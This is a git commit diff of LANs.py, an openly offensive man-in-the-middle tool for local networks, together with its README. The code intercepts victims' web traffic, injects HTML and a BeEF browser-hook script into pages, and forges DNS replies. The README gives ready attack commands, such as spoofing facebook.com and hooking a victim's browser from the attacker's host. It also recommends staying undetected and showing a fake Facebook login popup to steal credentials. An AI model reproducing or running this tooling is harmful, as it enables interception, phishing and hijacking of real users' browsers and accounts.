more reliable html injection

This commit is contained in:
DanMcInerney 2013-11-25 00:00:44 -05:00
parent edee001792
commit aae31bdc95
2 changed files with 43 additions and 32 deletions

52
LANs.py
View file

@ -15,7 +15,6 @@ Note: This script flushes iptables before and after usage.
To do: Add karma MITM technique To do: Add karma MITM technique
Add SSL proxy for self-signed cert, and make the script force a single JS popup saying there's a temporary problem with SSL validation and to just click through Add SSL proxy for self-signed cert, and make the script force a single JS popup saying there's a temporary problem with SSL validation and to just click through
Add anticaching (just edit the headers) Add anticaching (just edit the headers)
Replace wget with python requests library
Ability to add option which will add a delay, allowing user to modify HTML/email/irc/usernames and passwords on the fly (how much interest is there in this?) Ability to add option which will add a delay, allowing user to modify HTML/email/irc/usernames and passwords on the fly (how much interest is there in this?)
''' '''
@ -24,6 +23,14 @@ __license__ = 'BSD'
__contact__ = 'danhmcinerney with gmail' __contact__ = 'danhmcinerney with gmail'
__version__ = 1.0 __version__ = 1.0
try:
import nfqueue
except:
nfq = raw_input('[-] python-nfqueue not installed, would you like to install now? (apt-get install -y python-nfqueue will be run if yes) [y/n]: ')
if nfq == 'y':
os.system('apt-get install -y python-nfqueue')
else:
exit('[-] Exiting due to missing dependency')
import logging import logging
logging.getLogger("scapy.runtime").setLevel(logging.ERROR) logging.getLogger("scapy.runtime").setLevel(logging.ERROR)
from scapy.all import * from scapy.all import *
@ -40,17 +47,10 @@ from subprocess import *
from twisted.internet import reactor from twisted.internet import reactor
from twisted.internet.interfaces import IReadDescriptor from twisted.internet.interfaces import IReadDescriptor
from twisted.internet.protocol import Protocol, Factory from twisted.internet.protocol import Protocol, Factory
try:
import nfqueue
except:
nfq = raw_input('[-] python-nfqueue not installed, would you like to install now? (apt-get install -y python-nfqueue will be run if yes) [y/n]: ')
if nfq == 'y':
os.system('apt-get install -y python-nfqueue')
else:
exit('[-] Exiting due to missing dependency')
from zlib import decompressobj, decompress from zlib import decompressobj, decompress
import gzip import gzip
from cStringIO import StringIO from cStringIO import StringIO
import requests
def parse_args(): def parse_args():
#Create the arguments #Create the arguments
@ -222,22 +222,23 @@ class Parser():
return return
if sport == 80 and self.html_url and 'Content-Type: text/html' in headers: if sport == 80 and self.html_url and 'Content-Type: text/html' in headers:
# This can be done better, probably using filter()
header_lines = [x for x in header_lines if 'transfer-encoding' not in x.lower()]
for h in header_lines: for h in header_lines:
if '1.1 302' in h or '1.1 301' in h: if '1.1 302' in h or '1.1 301' in h: # Allow redirects to go thru unperturbed
payload.set_verdict(nfqueue.NF_ACCEPT)
self.html_url = None
return
elif 'Transfer-Encoding: chunked' in h or 'transfer-encoding: chunked' in h:
payload.set_verdict(nfqueue.NF_ACCEPT) payload.set_verdict(nfqueue.NF_ACCEPT)
self.html_url = None self.html_url = None
return return
# -O saves it to ~body in working dir, to speed it up -4 means only use IPv4 and --no-dns-cache speeds it up a little more UA_header = {'User-Agent':self.user_agent}
wget = Popen(['/usr/bin/wget', '-O', '/tmp/~body', '--no-dns-cache', '-4', '-U', self.user_agent, self.html_url], stdout=PIPE, stderr=DN) r = requests.get('http://'+self.html_url, headers=UA_header)
wget.wait() try:
f = open('/tmp/~body', 'r') body = r.text.encode('utf-8')
body = f.read() except:
f.close payload.set_verdict(nfqueue.NF_ACCEPT)
debugger = open('/home/user/projects/origBody', 'w')
debugger.write(body)
debugger.close()
# INJECT # INJECT
if self.args.beef: if self.args.beef:
@ -273,9 +274,12 @@ class Parser():
# Recompress data if necessary # Recompress data if necessary
if 'Content-Encoding: gzip' in headers: if 'Content-Encoding: gzip' in headers:
if body != '': if body != '':
# debugger = open('/home/user/projects/injectedBody', 'w')
# debugger.write(body)
# debugger.close()
try: try:
comp_body = StringIO() comp_body = StringIO()
f = gzip.GzipFile(fileobj=comp_body, mode='wb', compresslevel = 6) f = gzip.GzipFile(fileobj=comp_body, mode='w', compresslevel = 9)
f.write(body) f.write(body)
f.close() f.close()
body = comp_body.getvalue() body = comp_body.getvalue()
@ -295,6 +299,7 @@ class Parser():
payload.set_verdict(nfqueue.NF_ACCEPT) payload.set_verdict(nfqueue.NF_ACCEPT)
return return
headers = "\r\n".join(header_lines)
pkt[Raw].load = headers+"\r\n\r\n"+body pkt[Raw].load = headers+"\r\n\r\n"+body
pkt[IP].len = len(str(pkt)) pkt[IP].len = len(str(pkt))
del pkt[IP].chksum del pkt[IP].chksum
@ -693,6 +698,7 @@ class Parser():
logger.write('[!] Decoded:'+decoded+'\n') logger.write('[!] Decoded:'+decoded+'\n')
# Spoof DNS for a specific domain to point to your machine # Spoof DNS for a specific domain to point to your machine
# Make this more reliable by blocking all DNS responses from the server using the IP_src maybe a self.dnsSrc var
def dnsspoof(self, dns_layer, IP_src, IP_dst, sport, dport, payload): def dnsspoof(self, dns_layer, IP_src, IP_dst, sport, dport, payload):
if self.args.dnsspoof: if self.args.dnsspoof:
if self.args.dnsspoof in dns_layer.qd.qname and not self.args.redirectto: if self.args.dnsspoof in dns_layer.qd.qname and not self.args.redirectto:
@ -702,9 +708,9 @@ class Parser():
self.dnsspoof_actions(dns_layer, IP_src, IP_dst, sport, dport, payload, self.args.redirectto) self.dnsspoof_actions(dns_layer, IP_src, IP_dst, sport, dport, payload, self.args.redirectto)
def dnsspoof_actions(self, dns_layer, IP_src, IP_dst, sport, dport, payload, rIP): def dnsspoof_actions(self, dns_layer, IP_src, IP_dst, sport, dport, payload, rIP):
payload.set_verdict(nfqueue.NF_DROP)
print G+'[+] DNS request for '+W+self.args.dnsspoof+G+' found; dropping packet and injecting spoofed one redirecting to '+W+rIP print G+'[+] DNS request for '+W+self.args.dnsspoof+G+' found; dropping packet and injecting spoofed one redirecting to '+W+rIP
logger.write('[+] DNS request for '+self.args.dnsspoof+' found; dropping packet and injecting spoofed one redirecting to '+rIP+'\n') logger.write('[+] DNS request for '+self.args.dnsspoof+' found; dropping packet and injecting spoofed one redirecting to '+rIP+'\n')
payload.set_verdict(nfqueue.NF_DROP)
p = IP(dst=IP_src, src=IP_dst)/UDP(dport=sport, sport=dport)/DNS(id=dns_layer.id, qr=1, aa=1, qd=dns_layer.qd, an=DNSRR(rrname=dns_layer.qd.qname, ttl=10, rdata=rIP)) p = IP(dst=IP_src, src=IP_dst)/UDP(dport=sport, sport=dport)/DNS(id=dns_layer.id, qr=1, aa=1, qd=dns_layer.qd, an=DNSRR(rrname=dns_layer.qd.qname, ttl=10, rdata=rIP))
send(p) send(p)
print G+'[!] Sent spoofed packet for '+W+self.args.dnsspoof+G+' to '+W+rIP print G+'[!] Sent spoofed packet for '+W+self.args.dnsspoof+G+' to '+W+rIP
@ -1031,7 +1037,7 @@ def main(args):
dnsMAC = Spoof().originalMAC(dnsIP) dnsMAC = Spoof().originalMAC(dnsIP)
print "[*] DNS server MAC: " + dnsMAC print "[*] DNS server MAC: " + dnsMAC
except: except:
print "[-] Could not get DNS server MAC address" print "[-] Could not get DNS server MAC address; continuing"
if dnsIP == routerIP: if dnsIP == routerIP:
dnsMAC = routerMAC dnsMAC = routerMAC

View file

@ -11,12 +11,12 @@ Prereqs: Linux, scapy, python nfqueue-bindings 0.4.3+, aircrack-ng, python twist
Tested on Kali 1.0. In the following examples 192.168.0.5 will be the attacking machine and 192.168.0.10 will be the victim. Tested on Kali 1.0. In the following examples 192.168.0.5 will be the attacking machine and 192.168.0.10 will be the victim.
Full usage: All options:
``` shell ``` shell
LANs.py [-h] [-b BEEF] [-c CODE] [-u] [-ip IPADDRESS] [-vmac VICTIMMAC] [-d] python LANs.py [-h] [-b BEEF] [-c CODE] [-u] [-ip IPADDRESS] [-vmac VICTIMMAC] [-d]
[-v] [-dns DNSSPOOF] [-set] [-p] [-na] [-n] [-i INTERFACE] [-rip ROUTERIP] [-v] [-dns DNSSPOOF] [-r IPADDRESS] [-set] [-p] [-na] [-n] [-i INTERFACE]
[-rmac ROUTERMAC] [-pcap PCAP] [-rip ROUTERIP] [-rmac ROUTERMAC] [-pcap PCAP]
``` ```
Usage Usage
@ -72,10 +72,10 @@ python LANs.py -pcap libpcapfilename -ip 192.168.0.10
To read from a pcap file you must include the target's IP address with the -ip option. It must also be in libpcap form which is the most common anyway. One advantage of reading from a pcap file is that you do not need to be root to execute the script. To read from a pcap file you must include the target's IP address with the -ip option. It must also be in libpcap form which is the most common anyway. One advantage of reading from a pcap file is that you do not need to be root to execute the script.
### Aggressive usage: ### Most aggressive usage:
``` shell ``` shell
python LANs.py -v -d -p -n -na -set -dns facebook.com -c '<title>Owned.</title>' -b http://192.168.0.5:3000/hook.js -ip 192.168.0.10 python LANs.py -v -d -p -n -na -set -dns facebook.com -r 74.125.225.64 -c '<title>Owned.</title>' -b http://192.168.0.5:3000/hook.js -ip 192.168.0.10
``` ```
### All options: ### All options:
@ -92,6 +92,8 @@ python LANs.py -h
-dns DOMAIN: spoof the DNS of DOMAIN. e.g. -dns facebook.com will DNS spoof every DNS request to facebook.com or subdomain.facebook.com -dns DOMAIN: spoof the DNS of DOMAIN. e.g. -dns facebook.com will DNS spoof every DNS request to facebook.com or subdomain.facebook.com
-r IPADDRESS: only to be used with the -dns DOMAIN option; redirect the user to this IPADDRESS when they visit DOMAIN
-u: prints URLs visited; truncates at 150 characters and filters image/css/js/woff/svg urls since they spam the output and are uninteresting -u: prints URLs visited; truncates at 150 characters and filters image/css/js/woff/svg urls since they spam the output and are uninteresting
-i INTERFACE: specify interface; default is first interface in `ip route`, eg: -i wlan0 -i INTERFACE: specify interface; default is first interface in `ip route`, eg: -i wlan0
@ -133,10 +135,13 @@ This script uses a python nfqueue-bindings queue wrapped in a Twisted IReadDescr
Injecting code undetected is a dicey game, if a minor thing goes wrong or the server the victim is requesting data from performs things in unique or rare way then the user won't be able to open the page they're trying to view and they'll know something's up. This script is designed to forward packets if anything fails so during usage you may see lots of "[!] Injected packet for www.domain.com" but only see one or two domains on the BEeF panel that the browser is hooked on. This is OK. If they don't get hooked on the first page just wait for them to browse a few other pages. The goal is to be unnoticeable. My favorite BEeF tools are in Commands > Social Engineering. Do things like create an official looking Facebook pop up saying the user's authentication expired and to re-enter their credentials. Injecting code undetected is a dicey game, if a minor thing goes wrong or the server the victim is requesting data from performs things in unique or rare way then the user won't be able to open the page they're trying to view and they'll know something's up. This script is designed to forward packets if anything fails so during usage you may see lots of "[!] Injected packet for www.domain.com" but only see one or two domains on the BEeF panel that the browser is hooked on. This is OK. If they don't get hooked on the first page just wait for them to browse a few other pages. The goal is to be unnoticeable. My favorite BEeF tools are in Commands > Social Engineering. Do things like create an official looking Facebook pop up saying the user's authentication expired and to re-enter their credentials.
NOTE TO UBUNTU USERS: NOTE TO UBUNTU USERS: you will need to update/manually install nfqueue-bindings to version 0.4.3 due to the fact the version in Ubuntu's repo is 0.2. Alternatively just edit the Parser.start() function on line 135 from:
You will need to update your nfqueue-bindings to the latest version (0.4.3 as time of writing) or you will have to edit the Parser.start() (line 127) function to say:
def start(self, i, payload): def start(self, payload):
to:
def start(self, i, payload)
License License